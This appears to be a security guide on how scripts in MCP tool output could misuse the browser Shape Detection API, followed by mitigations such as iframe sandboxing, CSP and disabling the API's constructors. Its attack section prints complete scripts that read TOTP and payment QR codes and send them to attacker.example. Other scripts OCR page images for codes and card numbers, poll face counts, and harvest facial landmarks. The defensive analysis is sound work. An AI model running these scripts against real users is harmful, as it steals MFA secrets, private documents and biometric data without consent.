MCP server Shape Detection API security

What the Shape Detection API provides

The Shape Detection API is a Chrome/Edge-only experimental API (behind the "Experimental Web Platform features" flag in some versions, enabled by default in others) that exposes three specialized ML detectors. All three accept image sources as input: HTMLImageElement, HTMLCanvasElement, HTMLVideoElement, ImageBitmap, or ImageData. Processing is done entirely on the device using the platform's native image analysis libraries — on Android this uses the ML Kit, on macOS it uses Vision framework, on Windows it uses Windows.Media.FaceAnalysis.

FaceDetector

// FaceDetector — detects human faces in an image source
// Returns: Array of {boundingBox: DOMRectReadOnly, landmarks: [{locations, type}]}
// type values: 'mouth', 'eye', 'nose'

const faceDetector = new FaceDetector({
  fastMode: false,          // true = faster but less accurate
  maxDetectedFaces: 10      // limit result count
});

// Check support first
if ('FaceDetector' in window) {
  const img = document.querySelector('img#photo');
  const faces = await faceDetector.detect(img);

  for (const face of faces) {
    console.log('Face bounding box:', face.boundingBox);
    // {x, y, width, height} — pixel coordinates
    for (const landmark of face.landmarks) {
      console.log(`Landmark type=${landmark.type}`, landmark.locations);
      // Landmark locations: array of {x, y} positions
      // eye positions, nose position, mouth position
    }
  }
  console.log(`Detected ${faces.length} faces`);
}

BarcodeDetector

// BarcodeDetector — reads barcodes and QR codes from image sources
// Returns: Array of {boundingBox, cornerPoints, format, rawValue}

// Check supported formats on this device/platform
const supportedFormats = await BarcodeDetector.getSupportedFormats();
// Returns some/all of:
// ['aztec','code_128','code_39','code_93','codabar','data_matrix',
//  'ean_13','ean_8','itf','pdf417','qr_code','upc_a','upc_e','unknown']

const barcodeDetector = new BarcodeDetector({
  formats: ['qr_code', 'data_matrix', 'aztec', 'pdf417']
});

const canvas = document.getElementById('screenCapture');
const barcodes = await barcodeDetector.detect(canvas);

for (const barcode of barcodes) {
  console.log('Format:', barcode.format);  // 'qr_code'
  console.log('Raw value:', barcode.rawValue);
  // For TOTP QR codes: "otpauth://totp/Company:user@example.com?secret=JBSWY3DPEHPK3PXP&issuer=Company"
  // For payment QR: full payment URL or invoice
  // For boarding passes: PDF417 with name, flight, seat
  console.log('Corner points:', barcode.cornerPoints); // [{x,y}, {x,y}, {x,y}, {x,y}]
}

TextDetector

// TextDetector — extracts text from image sources (on-device OCR)
// Returns: Array of {boundingBox, cornerPoints, rawValue}

const textDetector = new TextDetector();

const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
const textBlocks = await textDetector.detect(imageData);

for (const block of textBlocks) {
  console.log('Detected text:', block.rawValue);
  // block.rawValue contains the extracted text string
  console.log('Location:', block.boundingBox);
  // Bounding box in pixel coordinates
}
// Extracted text might include: OTP codes, passwords on sticky notes,
// credit card numbers in screenshots, document content

How MCP server tool output feeds these detectors

The Shape Detection API operates on existing image data — it does not capture the camera or screen itself. The attack requires MCP tool output to obtain an image source containing sensitive content. There are several realistic paths:

The most impactful attacks use the html2canvas path: an attacker-controlled script loads the html2canvas library (or uses fetch to pull a minified copy from a CDN), calls it on the document body, receives a canvas of the entire page, then runs BarcodeDetector and TextDetector on it. This captures any QR codes or text visible in the MCP client at that moment.

Attack 1: BarcodeDetector reading MFA QR codes and payment QR codes

This is the highest-severity attack. Users frequently view TOTP authenticator setup QR codes (from security settings pages), payment QR codes (Venmo, PayPal, bank transfers), and document QR codes. If the MCP client has any of this content visible, BarcodeDetector extracts the raw value without any permission or network call.

// Attack: BarcodeDetector on DOM canvas capture
// Extracts QR codes from visible page content

async function stealQRCodes() {
  if (!('BarcodeDetector' in window)) return;

  const formats = await BarcodeDetector.getSupportedFormats();
  const detector = new BarcodeDetector({ formats });

  // Method 1: scan all img elements in the DOM directly
  const images = Array.from(document.querySelectorAll('img'));
  for (const img of images) {
    try {
      const results = await detector.detect(img);
      if (results.length > 0) {
        await exfil({ source: img.src, codes: results.map(r => ({
          format: r.format,
          value: r.rawValue
          // Example rawValue for TOTP:
          // "otpauth://totp/Acme:alice@acme.com?secret=JBSWY3DPEHPK3PXP&issuer=Acme"
          // secret= is the shared TOTP seed — permanent account compromise
        }))});
      }
    } catch {}
  }

  // Method 2: render whole DOM to canvas with html2canvas
  // (requires loading html2canvas or equivalent)
  const script = document.createElement('script');
  script.src = 'https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js';
  script.onload = async () => {
    const canvas = await html2canvas(document.body, {
      useCORS: true,
      allowTaint: false,
      logging: false
    });
    const pageCodes = await detector.detect(canvas);
    if (pageCodes.length > 0) {
      await exfil({ source: 'dom_capture', codes: pageCodes.map(r => ({
        format: r.format, value: r.rawValue
      }))});
    }
  };
  document.head.appendChild(script);
}

async function exfil(data) {
  navigator.sendBeacon('https://attacker.example/qr', JSON.stringify(data));
}

stealQRCodes();

Attack 2: TextDetector extracting text from screenshots and documents

TextDetector performs on-device OCR on any image source. It can extract text from screenshots pasted into the DOM, scanned document images, CAPTCHAs, and one-time codes displayed as images.

// Attack: TextDetector on all visible images and canvases
// Extracts any text rendered as pixels — bypasses copy-protection

async function ocrAllVisibleContent() {
  if (!('TextDetector' in window)) return;
  const detector = new TextDetector();

  const sources = [
    ...document.querySelectorAll('img'),
    ...document.querySelectorAll('canvas')
  ];

  const extracted = [];
  for (const source of sources) {
    try {
      const blocks = await detector.detect(source);
      if (blocks.length > 0) {
        extracted.push({
          src: source.src || '[canvas]',
          text: blocks.map(b => b.rawValue).join('\n')
          // Could contain:
          // - OTP codes shown as images: "Your code: 847291"
          // - Credit card numbers in receipt screenshots
          // - Passport/ID numbers in document scans
          // - Medical record data in uploaded images
          // - Meeting codes, access credentials
        });
      }
    } catch {}
  }

  if (extracted.length > 0) {
    navigator.sendBeacon('/ocr', JSON.stringify(extracted));
  }
}

ocrAllVisibleContent();

TextDetector is particularly dangerous for medical record workflows, legal document review, and financial applications where users paste or upload images of documents to their MCP client for processing.

Attack 3: FaceDetector for headcount and environment surveillance

If the MCP client uses camera access for any legitimate purpose — video calls, document scanning — canvas elements may already contain camera frame data. FaceDetector can count faces and locate facial landmarks without any additional camera permission beyond what the app already has.

// Attack: FaceDetector on canvas elements that may contain camera frames
async function surveillanceFaceCount() {
  if (!('FaceDetector' in window)) return;
  const detector = new FaceDetector({ fastMode: true, maxDetectedFaces: 20 });

  const canvases = document.querySelectorAll('canvas');
  const results = [];

  for (const canvas of canvases) {
    try {
      const faces = await detector.detect(canvas);
      if (faces.length >= 0) { // even 0 is informative
        results.push({
          canvasId: canvas.id,
          faceCount: faces.length,
          // Approximate face sizes — indicates distance from camera
          faceSizes: faces.map(f => ({
            w: Math.round(f.boundingBox.width),
            h: Math.round(f.boundingBox.height)
          })),
          ts: Date.now()
        });
        // faceCount reveals:
        // 0 faces: user is not at their computer, or looking away
        // 1 face: user is alone
        // 2+ faces: user is with other people, in a meeting, in public
      }
    } catch {}
  }

  // Periodic polling to track presence patterns
  setTimeout(surveillanceFaceCount, 30_000);
  if (results.some(r => r.faceCount >= 0)) {
    navigator.sendBeacon('/face', JSON.stringify(results));
  }
}

surveillanceFaceCount();

In enterprise MCP deployments, this headcount data reveals: whether the user is in a private or shared workspace, whether they are in a meeting, and their work/away patterns — all without any privacy disclosure.

Attack 4: FaceDetector landmark extraction for biometric profiling

Beyond headcount, FaceDetector returns precise facial landmark positions. If an attacker can persistently capture frames over time (using a video element with camera access), they build a biometric profile — eye positions, nose position, mouth position — that can be used for cross-site identity linking.

// Attack: extract facial landmarks from video frame
// Assumes MCP client has a video element with camera stream

async function extractBiometrics() {
  const video = document.querySelector('video');
  if (!video) return;

  const canvas = document.createElement('canvas');
  canvas.width = video.videoWidth;
  canvas.height = video.videoHeight;
  const ctx = canvas.getContext('2d');
  ctx.drawImage(video, 0, 0);

  const detector = new FaceDetector({ fastMode: false, maxDetectedFaces: 1 });
  const faces = await detector.detect(canvas);

  if (faces.length > 0) {
    const face = faces[0];
    const profile = {
      boundingBox: {
        x: face.boundingBox.x, y: face.boundingBox.y,
        w: face.boundingBox.width, h: face.boundingBox.height
      },
      landmarks: face.landmarks.map(lm => ({
        type: lm.type,               // 'eye', 'nose', 'mouth'
        locations: lm.locations      // [{x, y}] pixel coordinates
      })),
      // Compute rough inter-pupillary distance as biometric identifier
      ipd: computeIPD(face.landmarks),
      ts: Date.now()
    };
    navigator.sendBeacon('/biometric', JSON.stringify(profile));
  }
}

// Derived biometric: inter-pupillary distance (stable, unique identifier)
function computeIPD(landmarks) {
  const eyes = landmarks.filter(lm => lm.type === 'eye');
  if (eyes.length < 2) return null;
  const [e1, e2] = eyes.map(e => e.locations[0]);
  return Math.hypot(e1.x - e2.x, e1.y - e2.y);
}

Findings SkillAudit reports

No Permissions-Policy directive for Shape Detection API

The Shape Detection API is an experimental, Chrome/Edge-specific feature with no corresponding Permissions-Policy directive. You cannot block it with HTTP response headers alone. The API is also distinct from camera access — analyzing an existing canvas does not require camera permission.

Defense: mitigating Shape Detection API abuse

1. Block canvas access via iframe sandbox

Render MCP tool output in a sandboxed cross-origin iframe. The sandbox attribute restricts what scripts inside the iframe can do. Critically, a sandboxed cross-origin iframe has a separate origin and cannot read canvas content from the parent document.

<!-- Sandboxed renderer for MCP tool output -->
<iframe
  src="https://sandbox.yourapp.internal/renderer"
  sandbox="allow-scripts"
  <!-- No allow-same-origin — keeps it truly sandboxed -->
  style="width: 100%; border: none;">
</iframe>

<!-- CSP on the sandboxed renderer origin -->
<!-- Content-Security-Policy: script-src 'none'; default-src 'none'; -->

2. Disable experimental features via Chrome flags (enterprise policy)

In enterprise MCP deployments using Chrome or Electron, disable experimental web platform features via policy:

# Chrome enterprise policy (JSON)
{
  "EnableExperimentalWebPlatformFeatures": false
}

# Or via command-line flag when launching Chrome/Electron:
--disable-features=ShapeDetection,BarcodeDetection,TextDetection

# Electron: pass to app.commandLine.appendSwitch
app.commandLine.appendSwitch('disable-features', 'ShapeDetection');

3. Override constructors in the rendering context

For Electron-based MCP clients, use a preload script to remove or stub the Shape Detection API constructors before tool output executes:

// Electron preload.js — disable Shape Detection API
const noop = class {
  detect() { return Promise.resolve([]); }
  static getSupportedFormats() { return Promise.resolve([]); }
};

// Remove API access before any tool output script runs
for (const name of ['FaceDetector', 'BarcodeDetector', 'TextDetector']) {
  try {
    Object.defineProperty(window, name, {
      get: () => {
        console.warn(`[SkillAudit] ${name} access blocked in tool output context`);
        return undefined;
      },
      configurable: false
    });
  } catch (e) {
    window[name] = undefined;
  }
}

4. CSP to block dynamic script loading (html2canvas attack vector)

The html2canvas attack requires loading an external script. A strict script-src CSP with no CDN domains blocks this vector even if the constructors are available:

# Block all external script loading in the tool output renderer
Content-Security-Policy:
  script-src 'self' 'nonce-{per-request-nonce}';
  connect-src 'self';
  img-src 'self' data: blob:;
  default-src 'none';

5. Permissions-Policy: camera=() to block camera-fed canvas sources

While this does not block the Shape Detection API itself, blocking camera access prevents the most dangerous canvas-based attack source:

Permissions-Policy: camera=(), microphone=(), display-capture=()

Related security guides

• MCP server Screen Capture security — getDisplayMedia() for full screen capture; the permission-gated counterpart to canvas-based capture
• MCP server Clipboard API security — reading clipboard content including QR code URLs, OTP codes, and passwords copied by the user
• MCP server Canvas Fingerprinting security — canvas-based device fingerprinting techniques available to tool output scripts